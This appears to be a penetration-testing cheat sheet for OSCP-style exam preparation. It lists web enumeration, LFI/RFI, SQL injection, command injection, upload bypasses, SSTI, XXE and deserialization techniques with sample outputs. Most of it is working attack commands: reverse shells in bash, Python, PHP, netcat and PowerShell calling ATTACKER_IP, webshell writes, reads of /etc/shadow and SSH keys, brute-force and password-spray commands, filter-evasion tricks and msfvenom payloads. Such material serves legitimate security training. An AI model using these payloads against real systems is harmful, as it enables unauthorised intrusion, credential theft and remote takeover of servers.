Find virtual hosts — Different sites on same server
gobuster vhost -u http://<domain> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
Example Output
Found: dev.domain.htb (Status: 200) [Size: 5432]
Found: staging.domain.htb (Status: 200) [Size: 1234]
Found: admin.domain.htb (Status: 302) [Size: 0]
(Add each to /etc/hosts and browse)
FFUF for fuzzing
Fast fuzzer — Flexible filtering
ffuf -u http://$IP/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -mc 200,301,302
Example Output
ffuf -u http://10.10.10.5/FUZZ -w wordlist.txt -mc 200,301
admin [Status: 301, Size: 312]
backup [Status: 301, Size: 314]
api [Status: 200, Size: 1543]
.env [Status: 200, Size: 256]
Check for common files
Manual checks for sensitive files — Backup configs, git repos, env files
curl http://$IP/wp-config.php.bak
curl http://$IP/.git/HEAD
curl http://$IP/.env
curl http://$IP/web.config
curl http://$IP/config.php
Example Output
curl http://10.10.10.5/.git/HEAD
ref: refs/heads/master
(GIT REPO EXPOSED! Use git-dumper)
curl http://10.10.10.5/.env
DB_PASSWORD=s3cretDBp@ss
APP_KEY=base64:abc123...
Nikto web scanner
Vulnerability scanner — Quick scan for known issues
nikto -h http://$IP
Example Output
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The X-Content-Type-Options header is not set
+ /config.php: PHP Config file found
+ /backup/: Directory indexing found
+ OSVDB-3233: /icons/README: Apache default file found
CMS DETECTION & ENUMERATION
WordPress scan
Plugins, themes, users — WP is full of vuln plugins
wpscan --url http://$IP --enumerate ap,at,u --api-token <token>
Example Output
wpscan output:
[+] WordPress version 5.8 identified
[!] 3 vulnerabilities identified
[+] Plugin: wp-file-manager 6.9
| [!] CVE-2020-25213 - Unauthenticated RCE
[+] Users found: admin, editor
WordPress user enum
Find usernames — Then brute force wp-login
wpscan --url http://$IP --enumerate u
Example Output
wpscan --url http://10.10.10.5 --enumerate u
[+] admin
| Found By: Author Posts
[+] editor
| Found By: Wp Json Api
(Now brute force these usernames)
WordPress brute force
Login brute force — Weak admin passwords
wpscan --url http://$IP --usernames <user> --passwords /usr/share/wordlists/rockyou.txt
Example Output
wpscan --url http://10.10.10.5 --usernames admin --passwords rockyou.txt
[+] Performing password attack on Xmlrpc against 1 user(s)
[SUCCESS] - admin / sunshine1
(Login at /wp-admin with admin:sunshine1)
Joomla scan
Joomla enumeration — Version, plugins, vulns
joomscan -u http://$IP
Example Output
[+] Joomla 3.7.0
[++] Joomla 3.7.0 - SQL Injection
CVE: CVE-2017-8917
URL: /index.php?option=com_fields&view=fields&layout=modal
Drupal scan
Drupal enumeration — Drupalgeddon exploits
droopescan scan drupal -u http://$IP
Example Output
droopescan scan drupal -u http://10.10.10.5
[+] Version: 7.54
[+] Plugins: php_filter, views
[!] Drupal < 7.58 - Drupalgeddon2 (CVE-2018-7600)
(Unauthenticated RCE if vulnerable)
Check /wp-admin, /administrator, /admin
Manual CMS detection — Find login panels
Browse to common admin paths
Example Output
http://10.10.10.5/wp-admin -> WordPress login
http://10.10.10.5/administrator -> Joomla login
http://10.10.10.5/admin -> Custom admin panel
(Found login page = try defaults, SQLi, brute force)
Check CMS version
Exact version for exploit search — Version-specific exploits
View source for generator meta tag
curl http://$IP/readme.html
curl http://$IP/CHANGELOG.txt
Example Output
View source: <meta name='generator' content='WordPress 5.8'/>
curl http://10.10.10.5/readme.html -> WordPress 5.8
curl http://10.10.10.5/CHANGELOG.txt -> Drupal 7.54
(Exact version for exploit search)
💉 Web Attacks
Exploitation techniques for web application vulnerabilities.
- LOCAL FILE INCLUSION (LFI)
- REMOTE FILE INCLUSION (RFI)
- SQL INJECTION
- COMMAND INJECTION
- FILE UPLOAD ATTACKS
- AUTHENTICATION ATTACKS
- SERVER-SIDE TEMPLATE INJECTION (SSTI)
- XML EXTERNAL ENTITY (XXE)
- DESERIALIZATION
- REVERSE SHELLS & PAYLOADS
LOCAL FILE INCLUSION (LFI)
Basic LFI test
Path traversal — Confirm LFI exists
http://$IP/page.php?file=../../../etc/passwd
Example Output
http://10.10.10.5/page.php?file=../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin
www-data:x:33:33:www-data:/var/www
admin:x:1000:1000::/home/admin:/bin/bash
(LFI CONFIRMED)
Null byte bypass (old PHP)
PHP < 5.3.4 — Bypass extension append
http://$IP/page.php?file=../../../etc/passwd%00
Example Output
http://10.10.10.5/page.php?file=../../../etc/passwd%00
Code appends .php: include($_GET['file'] . '.php');
Null byte terminates string early in PHP < 5.3.4
Result: reads /etc/passwd instead of /etc/passwd.php
Double encoding
Bypass basic filters — URL encode twice
http://$IP/page.php?file=%252e%252e%252f%252e%252e%252fetc/passwd
Example Output
http://10.10.10.5/page.php?file=%252e%252e%252f%252e%252e%252fetc/passwd
%25 = %, so %252e = %2e = .
Server decodes twice: %252e%252e%252f -> ../
Bypasses WAF/filter that checks for ../
PHP wrapper - base64 read
Read PHP source code — See credentials in config
http://$IP/page.php?file=php://filter/convert.base64-encode/resource=config.php
Example Output
http://10.10.10.5/page.php?file=php://filter/convert.base64-encode/resource=config.php
PD9waHAKJGRiX2hvc3QgPSAnbG9jYWxob3N0JzsK...
base64 -d:
<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'SuperSecret123';
PHP wrapper - command exec
RCE via php://input — Direct command execution
curl http://$IP/page.php?file=php://input -d '<?php system("id"); ?>'
Example Output
curl http://10.10.10.5/page.php?file=php://input -d '<?php system("id"); ?>'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
(RCE CONFIRMED via php://input)
PHP data wrapper
RCE via data:// — base64 of <?php system($_GET['cmd']);?>
http://$IP/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
Example Output
http://10.10.10.5/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id
base64 decodes to: <?php system($_GET['cmd']);?>
Response: uid=33(www-data)
(RCE via data:// wrapper)
Log poisoning (Apache)
Inject PHP into logs, include log — RCE via log file
curl -A '<?php system($_GET["cmd"]); ?>' http://$IP
then: http://$IP/page.php?file=/var/log/apache2/access.log&cmd=id
Example Output
Step 1: curl -A '<?php system($_GET["cmd"]); ?>' http://10.10.10.5
Step 2: http://10.10.10.5/page.php?file=/var/log/apache2/access.log&cmd=id
... uid=33(www-data) gid=33(www-data) ...
(RCE via log poisoning)
Log poisoning (SSH)
Inject PHP via SSH username — Alternative log poisoning
ssh '<?php system($_GET["cmd"]); ?>'@$IP
then include /var/log/auth.log
Example Output
ssh '<?php system($_GET["cmd"]); ?>'@10.10.10.5
Permission denied
But PHP code is now in /var/log/auth.log
http://10.10.10.5/page.php?file=/var/log/auth.log&cmd=id
uid=33(www-data)
(RCE via SSH log poisoning)
Read SSH keys
Steal private keys — SSH access
http://$IP/page.php?file=../../../home/<user>/.ssh/id_rsa
Example Output
http://10.10.10.5/page.php?file=../../../home/admin/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----
Save to file, chmod 600, ssh -i id_rsa admin@target
(LFI to SSH key = instant foothold)
Read /etc/shadow (if root)
Password hashes — Crack with hashcat/john
http://$IP/page.php?file=../../../etc/shadow
Example Output
http://10.10.10.5/page.php?file=../../../etc/shadow
root:$6$abc123$LongHashHere:19000:0:99999:7:::
admin:$6$def456$AnotherHash:19000:0:99999:7:::
(Copy hashes, crack with hashcat -m 1800)
Common files to read
Sensitive file targets — Creds, users, config
/etc/passwd
/etc/shadow
/etc/hosts
/home/<user>/.bash_history
/proc/self/environ
/var/www/html/config.php
/var/www/html/.htpasswd
Example Output
/etc/passwd -> usernames
/etc/shadow -> password hashes (if readable)
/home/user/.ssh/id_rsa -> SSH private key
/var/www/html/config.php -> DB credentials
/proc/self/environ -> environment variables with secrets
~/.bash_history -> command history with passwords
Windows LFI paths
Windows file targets — Windows path format
..\..\..\windows\system32\drivers\etc\hosts
..\..\..\windows\win.ini
..\..\..\inetpub\wwwroot\web.config
Example Output
..\..\..\windows\system32\drivers\etc\hosts
-> 127.0.0.1 localhost
..\..\..\inetpub\wwwroot\web.config
-> <connectionStrings>Password=DBp@ss</connectionStrings>
..\..\..\windows\win.ini
-> [fonts] (confirms LFI on Windows)
REMOTE FILE INCLUSION (RFI)
Check if RFI is possible
See if external URL loads — allow_url_include must be ON
http://$IP/page.php?file=http://ATTACKER_IP/test.txt
Example Output
http://10.10.10.5/page.php?file=http://ATTACKER_IP/test.txt
On attacker HTTP server:
10.10.10.5 - - 'GET /test.txt HTTP/1.0' 200 -
(Target fetched your file = RFI works)
RFI with PHP reverse shell
Host a PHP reverse shell on your machine — python3 -m http.server 80 first
http://$IP/page.php?file=http://ATTACKER_IP/rev.php
Example Output
Host rev.php on attacker:
python3 -m http.server 80
http://10.10.10.5/page.php?file=http://ATTACKER_IP/rev.php
nc -nlvp 443:
connect to [ATTACKER] from [10.10.10.5]
$ whoami
www-data
RFI with SMB share
Host via SMB (no http needed) — impacket-smbserver share .
http://$IP/page.php?file=\\ATTACKER_IP\share\rev.php
Example Output
On attacker:
impacket-smbserver share . -smb2support
http://10.10.10.5/page.php?file=\\ATTACKER_IP\share\rev.php
nc -nlvp 443:
$ whoami
www-data
(Bypasses allow_url_fopen restrictions on some configs)
SQL INJECTION
Test for SQLi
Try in every input field — Look for errors or behavior change
' OR 1=1-- -
" OR 1=1-- -
' OR '1'='1
1' ORDER BY 1-- -
Example Output
Input: ' OR 1=1-- -
Response shows ALL users instead of one
OR: Error: You have an error in your SQL syntax near '''
OR: Page content changes between ' OR 1=1-- - and ' OR 1=2-- -
(SQLi CONFIRMED)
LAB ONLY - SQLMap automated
NOT ALLOWED ON OFFSEC EXAMS. Automated SQLi — Enumerate databases
sqlmap -u 'http://$IP/page.php?id=1' --batch --dbs
Example Output
sqlmap -u 'http://10.10.10.5/page.php?id=1' --batch --dbs
[INFO] the back-end DBMS is MySQL
available databases [3]:
[*] information_schema
[*] webapp
[*] mysql
(NOT ALLOWED ON OFFSEC EXAMS)
LAB ONLY - SQLMap with POST data
NOT ALLOWED ON OFFSEC EXAMS. POST parameter injection — Login forms
sqlmap -u 'http://$IP/login.php' --data='user=admin&pass=test' --batch --dbs
Example Output
sqlmap -u 'http://10.10.10.5/login' --data='user=a&pass=b' --batch
[INFO] Parameter 'user' is vulnerable
Type: UNION query
(NOT ALLOWED ON OFFSEC EXAMS)
LAB ONLY - SQLMap dump creds
NOT ALLOWED ON OFFSEC EXAMS. Dump user table — Usernames and hashes
sqlmap -u 'http://$IP/page.php?id=1' -D <db> -T users --dump
Example Output
sqlmap -D webapp -T users --dump
+-------+----------+
| admin | P@ssw0rd |
| john | welcome1 |
(NOT ALLOWED ON OFFSEC EXAMS)
LAB ONLY - SQLMap OS shell
NOT ALLOWED ON OFFSEC EXAMS. Get shell via SQLi — Direct RCE
sqlmap -u 'http://$IP/page.php?id=1' --os-shell
Example Output
sqlmap --os-shell
os-shell> whoami
www-data
os-shell> id
uid=33(www-data)
(NOT ALLOWED ON OFFSEC EXAMS)
UNION based manual
Manual UNION injection — Identify column count first with ORDER BY
' UNION SELECT 1,2,3-- -
' UNION SELECT user(),database(),version()-- -
Example Output
' UNION SELECT 1,2,3-- -
Page shows '2' and '3' in output
' UNION SELECT 1,user(),database()-- -
Shows: root@localhost and webapp
(Manual injection = exam legal)
Read files via SQLi
Read files through injection — LFI via database
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
Example Output
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www
(Read any file the DB user can access)
Write webshell via SQLi
Write PHP shell — RCE if writable web root
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -
Example Output
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/cmd.php'-- -
Error? Try: INTO DUMPFILE instead of OUTFILE
curl http://10.10.10.5/cmd.php?cmd=id
uid=33(www-data)
(Requires FILE privilege and writable web root)
Error-based injection
Force errors to leak data — When UNION doesn't work
' AND extractvalue(1,concat(0x7e,version()))-- -
Example Output
' AND extractvalue(1,concat(0x7e,version()))-- -
Error: XPATH syntax error: '~5.7.29-0ubuntu0.18.04.1'
(Version leaked through error message)
Blind boolean SQLi
Different response = injectable — Slower but works when no output
' AND 1=1-- - (true)
' AND 1=2-- - (false)
Example Output
' AND 1=1-- - -> Page loads normally (TRUE)
' AND 1=2-- - -> Page is blank/different (FALSE)
' AND SUBSTRING(user(),1,1)='r'-- - -> TRUE
' AND SUBSTRING(user(),1,1)='a'-- - -> FALSE
(User starts with 'r' -> root)
Time-based blind SQLi
If page delays = injectable — MySQL vs MSSQL syntax
' AND SLEEP(5)-- -
'; WAITFOR DELAY '0:0:5'-- -
Example Output
' AND SLEEP(5)-- -
Page takes 5 seconds to load = INJECTABLE
' AND IF(SUBSTRING(database(),1,1)='w',SLEEP(5),0)-- -
5 second delay -> first char is 'w'
(Slow but works when no visible output)
Determine column count
Keep increasing until you get an error. Last working number = column count — Required before UNION injection
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
(increment until error)
Example Output
' ORDER BY 1-- - -> OK
' ORDER BY 2-- - -> OK
' ORDER BY 3-- - -> OK
' ORDER BY 4-- - -> ERROR
(3 columns in the query)
Find displayed columns
See which numbers appear on page. Those columns show output. — Inject queries into visible columns
' UNION SELECT 1,2,3,4-- -
(match column count from ORDER BY)
Example Output
' UNION SELECT 1,2,3-- -
Page shows: 2 and 3 in the output
(Inject payloads into columns 2 and 3)
Extract database version
MySQL: version() MSSQL: @@version PostgreSQL: version() — Confirms DB type
' UNION SELECT 1,version(),3-- -
' UNION SELECT 1,@@version,3-- -
Example Output
' UNION SELECT 1,version(),3-- -
5.7.29-0ubuntu0.18.04.1
(MySQL 5.7.29 on Ubuntu)
Extract current database
MySQL: database() MSSQL: db_name() — Know which DB you're in
' UNION SELECT 1,database(),3-- -
' UNION SELECT 1,db_name(),3-- -
Example Output
' UNION SELECT 1,database(),3-- -
Output: webapp
(Now enumerate tables in 'webapp' database)
Extract current user
Check privilege level — DBA = more options
' UNION SELECT 1,user(),3-- -
' UNION SELECT 1,current_user,3-- -
Example Output
' UNION SELECT 1,user(),3-- -
Output: root@localhost
(Root DB user = FILE privileges likely available)
List all databases (MySQL)
All databases in one query — Find interesting databases
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -
information_schema,mysql,performance_schema,webapp,secret_db
List tables in database
All tables from target DB — Look for users/credentials tables
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='<dbname>'-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='webapp'-- -
users,posts,settings,sessions
List columns in table
Column names from target table — Find username/password columns
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
Output: id,username,password,email,role
(Now dump username and password columns)
Dump table data
0x3a is colon separator — Extract credentials
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users-- -
admin:$2y$10$abc123...,john:$2y$10$def456...,editor:password123
(Crack bcrypt hashes or use plaintext creds)
MSSQL list databases
MSSQL uses different schema — MSSQL syntax
' UNION SELECT 1,name,3 FROM master..sysdatabases-- -
Example Output
' UNION SELECT 1,name,3 FROM master..sysdatabases-- -
master
tempdb
model
msdb
webapp
HRDatabase
MSSQL list tables
xtype U = user tables — MSSQL syntax
' UNION SELECT 1,name,3 FROM <dbname>..sysobjects WHERE xtype='U'-- -
Example Output
' UNION SELECT 1,name,3 FROM webapp..sysobjects WHERE xtype='U'-- -
users
employees
config
sessions
MSSQL list columns
Columns from target table — MSSQL syntax
' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
Example Output
' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
id
username
password_hash
email
PostgreSQL list databases
PostgreSQL syntax — Different from MySQL
' UNION SELECT 1,datname,3 FROM pg_database-- -
Example Output
' UNION SELECT 1,datname,3 FROM pg_database-- -
postgres
template0
template1
webapp
PostgreSQL list tables
Public schema tables — PostgreSQL syntax
' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- -
Example Output
' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- -
users
posts
config
Stacked queries (MSSQL)
MSSQL supports stacked queries — Direct RCE if sa user
'; EXEC xp_cmdshell 'whoami'-- -
Example Output
'; EXEC xp_cmdshell 'whoami'-- -
nt authority\system
(RCE as SYSTEM via MSSQL stacked queries)
Second-order SQLi
Payload stored, executed later — When direct injection fails
Register user: admin'-- -
Then login or trigger profile update
Example Output
Register username: admin'-- -
Login with that account
Profile page shows: Welcome, admin
(Stored payload executed on profile load, bypassed auth)
COMMAND INJECTION
Basic command injection
Try all separators in every input — Ping fields, search boxes, etc
127.0.0.1; whoami
127.0.0.1 | whoami
127.0.0.1 && whoami
127.0.0.1 || whoami
`whoami`
$(whoami)
Example Output
Input: 127.0.0.1; whoami
PING 127.0.0.1: 64 bytes from 127.0.0.1
www-data
(Command injection CONFIRMED)
Newline injection
URL encoded newline — Bypass some filters
127.0.0.1%0awhoami
Example Output
Input: 127.0.0.1%0awhoami
PING 127.0.0.1: 64 bytes...
www-data
(%0a = newline, starts new command)
Reverse shell from injection
Get a shell — URL encode special chars
127.0.0.1; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
Example Output
Input: ;bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'
Attacker nc -nlvp 443:
connect to [10.10.14.2] from [10.10.10.5]
bash-4.4$ whoami
www-data
Bypass filters
Quote insertion, wildcards — When basic commands are blocked
w'h'oami
wh$@oami
/bin/w?oami
cat /et?/pas?wd
Example Output
whoami blocked? Try:
w'h'oami -> www-data
/bin/w?oami -> www-data
who$@ami -> www-data
cat /etc/passwd blocked? Try:
cat /et?/pas?wd -> works
tac /etc/passwd -> works (reverse cat)
FILE UPLOAD ATTACKS
Upload PHP reverse shell
Basic upload attempt — Check if .php is allowed
Upload pentestmonkey php-reverse-shell.php
Example Output
Upload pentestmonkey shell as shell.php
Response: 'File uploaded successfully'
Browse to: http://10.10.10.5/uploads/shell.php
nc -nlvp 443:
connect to [ATTACKER] from [10.10.10.5]
$ whoami
www-data
Bypass extension filter
Try alternative extensions — Different PHP handlers
shell.php5
shell.phtml
shell.phar
shell.phps
shell.php.jpg
shell.PHP
shell.php%00.jpg
Example Output
shell.php -> 'File type not allowed'
shell.php5 -> 'File type not allowed'
shell.phtml -> 'File uploaded successfully!'
(phtml bypassed the filter)
Bypass content-type check
Intercept and modify — Server checks MIME type only
Change Content-Type header to image/jpeg in Burp
Example Output
In Burp, change:
Content-Type: application/x-php
To:
Content-Type: image/jpeg
Server response: 'File uploaded successfully'
(Server only checked MIME type, not actual content)
Double extension
Confuse extension parsing — Some servers check last/first ext
shell.php.png
shell.jpg.php
Example Output
shell.php.png -> 'Uploaded successfully'
But Apache processes .php first
Browse: http://10.10.10.5/uploads/shell.php.png
$ whoami
www-data
Magic bytes bypass
Bypass magic byte checks — File starts as valid image
Add GIF89a; to start of PHP file
Or embed PHP in image EXIF
Example Output
Add GIF89a; at top of PHP shell:
GIF89a;
<?php system($_GET['cmd']); ?>
Upload as shell.gif.php or shell.php
Server sees GIF magic bytes, allows upload
Upload .htaccess
Change how server handles files — Make .jpg execute as PHP
Upload .htaccess:
AddType application/x-httpd-php .jpg
Then upload shell.jpg
Example Output
Upload .htaccess containing:
AddType application/x-httpd-php .jpg
Then upload shell.jpg (with PHP code inside)
Browse: http://10.10.10.5/uploads/shell.jpg
$ whoami
www-data
(.jpg now executes as PHP)
Upload web.config (IIS)
IIS equivalent of .htaccess — ASP/ASPX execution
Upload web.config with handler for .jpg as ASP
Example Output
Upload web.config:
<handlers>
<add name='aspnet' path='*.jpg' verb='*' type='System.Web.UI.PageHandlerFactory'/>
</handlers>
Upload shell.jpg with ASP code
Browse to execute
(IIS treats .jpg as ASP)
Find upload location
Where did the file go? — Need path to trigger execution
Check response, view source, or gobuster
Example Output
Response: 'File uploaded to /uploads/shell.php'
OR: View source -> <img src='/uploads/shell.php'>
OR: gobuster dir -u http://10.10.10.5 -w wordlist.txt
/uploads/ (Status: 301)
(Need the path to trigger your shell)
Trigger uploaded shell
Execute your uploaded file — Start netcat listener first
curl http://$IP/uploads/shell.php
or browse to it
Example Output
nc -nlvp 443
curl http://10.10.10.5/uploads/shell.php
Listening on 0.0.0.0 443
Connection received from 10.10.10.5
$ whoami
www-data
(Reverse shell caught!)
AUTHENTICATION ATTACKS
Default credentials
Try known defaults first — Always the first thing to try
admin:admin, admin:password, root:root
Google: '<application> default credentials'
Example Output
admin:admin -> 'Login successful'
OR: admin:password -> 'Welcome, Administrator'
(Always try these FIRST before brute forcing)
Brute force login
HTTP form brute force — Get exact form fields from Burp
hydra -l admin -P /usr/share/wordlists/rockyou.txt $IP http-post-form '/login:username=^USER^&password=^PASS^:F=Invalid'
Example Output
hydra -l admin -P rockyou.txt 10.10.10.5 pop3
[110][pop3] login: admin password: welcome1
(Crack mail credentials)
Password spray
One password, many users — Avoids lockouts
crackmapexec smb $IP -u users.txt -p 'Password1' --continue-on-success
Example Output
crackmapexec smb 10.10.10.5 -u users.txt -p 'Password1'
[-] corp\admin:Password1
[-] corp\john:Password1
[+] corp\jane:Password1
(One hit across many users)
Session hijacking
JWT, base64 encoded tokens — Weak session management
Check cookies for session tokens, try to decode/forge
Example Output
Cookie: session=eyJhZG1pbiI6ZmFsc2V9
base64 decode: {"admin":false}
Change to: {"admin":true}
base64 encode: eyJhZG1pbiI6dHJ1ZX0=
Set cookie and refresh -> Admin access!
Registration / password reset
Create test@test.com — Sometimes leads to admin access
Register a new account, look for IDOR or priv escalation
Example Output
Register: testuser@test.com
Login -> see profile page
Change URL: /profile?id=1 (was id=5)
Now viewing admin's profile = IDOR
OR: Reset admin password via manipulated token
SQL injection on login
Bypass authentication — Classic SQLi login bypass
admin' OR 1=1-- -
admin'-- -
Example Output
Username: admin'-- -
Password: anything
Result: Logged in as admin
(Authentication bypassed via SQLi)
SERVER-SIDE TEMPLATE INJECTION (SSTI)
Test for SSTI
If 49 appears = SSTI exists — Try in every input field
{{7*7}}
${7*7}
#{7*7}
<%= 7*7 %>
Example Output
Input: {{7*7}}
Page displays: 49
(SSTI CONFIRMED - template engine is executing code)
{{7*'7'}} = 7777777 -> Jinja2
{{7*'7'}} = 49 -> Twig
Identify template engine
Different engines, different payloads — Guides your exploit
{{7*'7'}} -> 7777777 = Jinja2
{{7*'7'}} -> 49 = Twig
Example Output
{{7*7}} = 49 on page
{{7*'7'}} = 7777777 -> Jinja2 (Python)
{{7*'7'}} = 49 -> Twig (PHP)
${7*7} = 49 -> Freemarker (Java)
<%= 7*7 %> = 49 -> ERB (Ruby)
Jinja2 RCE (Python)
Python/Flask apps — Jinja2 is very common
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Example Output
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Output: uid=33(www-data) gid=33(www-data)
(RCE via Jinja2 SSTI)
Twig RCE (PHP)
PHP/Symfony apps — Twig template injection
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
Example Output
{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}
Output: uid=33(www-data) gid=33(www-data)
(RCE via Twig SSTI in PHP/Symfony apps)
XML EXTERNAL ENTITY (XXE)
Test for XXE
Submit in XML inputs — APIs, file uploads, SOAP
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Example Output
Submit XML:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Response includes:
root:x:0:0:root:/root:/bin/bash
(XXE CONFIRMED - can read files)
XXE to read files
Read local files — LFI via XML parser
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
Example Output
Submit:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user>&xxe;</user>
Response:
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:...
(File read via XXE)
XXE SSRF
Access internal services — Pivot to internal network
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-host/">]>
Example Output
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://172.16.1.10:8080/">]>
<root>&xxe;</root>
Response includes internal page content
(Access internal services through XXE)
Blind XXE (out-of-band)
Confirm with HTTP callback — If no output in response
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER_IP:8000/xxe">]>
Example Output
Submit:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://ATTACKER_IP:8000/gotcha">]>
Attacker HTTP server:
10.10.10.5 - - 'GET /gotcha HTTP/1.1' 200 -
(Confirms XXE even with no visible output)
DESERIALIZATION
Identify serialized data
Recognize serialization formats — Each format has different attacks
Look for base64 blobs in cookies/params
Java: rO0AB (base64), AC ED 00 05 (hex)
PHP: O:4:"User":2:{...}
Python: (pickle)
Example Output
Cookie: session=rO0ABXNyABFq... (Java - starts with rO0AB)
Cookie: session=Tzo0OiJVc2VyIjoyOntz... (PHP - starts with O:4:)
Cookie: session=gASVKAAAA... (Python pickle - starts with gASV)
(Identify format, then craft exploit)
Java deserialization
Generate Java payload — If Java app with known gadgets
ysoserial.jar CommonsCollections1 'command'
Example Output
java -jar ysoserial.jar CommonsCollections1 'ping ATTACKER_IP' | base64
Replace cookie with payload
Attacker: tcpdump -i tun0 icmp
Got ICMP from 10.10.10.5
(Confirmed RCE, now use reverse shell)
PHP deserialization
Modify serialized cookie — PHP object injection
Craft serialized PHP object with __wakeup or __destruct
Example Output
Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:0;}
Modified: O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"admin";b:1;}
Set admin=true via deserialization
(Or exploit __wakeup/__destruct for RCE)
Python pickle
Python unpickle RCE — Flask/Django session cookies
import pickle; pickle.loads(malicious_data)
Example Output
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(Exploit())
Send as session cookie
Server unpickles -> executes os.system('id')
(RCE via Python deserialization)
REVERSE SHELLS & PAYLOADS
Start listener
Always set up first — Use port 443 (less likely filtered)
nc -nlvp 443
or: rlwrap nc -nlvp 443
Example Output
nc -nlvp 443
Listening on 0.0.0.0 443
OR better:
rlwrap nc -nlvp 443
(rlwrap gives arrow key history in shell)
Bash reverse shell
Linux/Mac — Most reliable on Linux
bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1
Example Output
bash -i >& /dev/tcp/10.10.14.2/443 0>&1
Attacker:
connect to [10.10.14.2] from [10.10.10.5] 48234
bash-4.4$ whoami
www-data
Python reverse shell
If Python is installed — Very common on Linux
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Example Output
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.2",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Attacker: $ whoami
www-data
PHP reverse shell (one-liner)
In command injection or upload — Or use pentestmonkey full shell
php -r '$sock=fsockopen("ATTACKER_IP",443);exec("/bin/sh -i <&3 >&3 2>&3");'
Example Output
php -r '$sock=fsockopen("10.10.14.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'
OR in a web parameter:
cmd=php+-r+'$s=fsockopen("10.10.14.2",443);exec("/bin/sh+-i+<&3+>&3+2>&3");'
Attacker:
$ whoami
www-data
(Inline PHP shell, no file upload needed)
PowerShell reverse shell
Windows targets — Or use Nishang Invoke-PowerShellTcp
powershell -e <base64_payload>
Generate: msfvenom -p cmd/windows/reverse_powershell LHOST=ATTACKER_IP LPORT=443
Example Output
powershell -e JABjAGwAaQBlAG4A...(base64)
Attacker:
connect from 10.10.10.5
PS C:\Users\admin> whoami
corp\admin
nc reverse shell
Netcat — Try both -e and mkfifo versions
nc -e /bin/sh ATTACKER_IP 443
or: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 443 >/tmp/f
Example Output
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 443 >/tmp/f
Attacker:
$ whoami
www-data
(Use this version when nc -e isn't available)
msfvenom payloads
Generate binary payloads — For upload + execute scenarios
Windows: msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f exe -o shell.exe
Linux: msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f elf -o shell.elf
Example Output
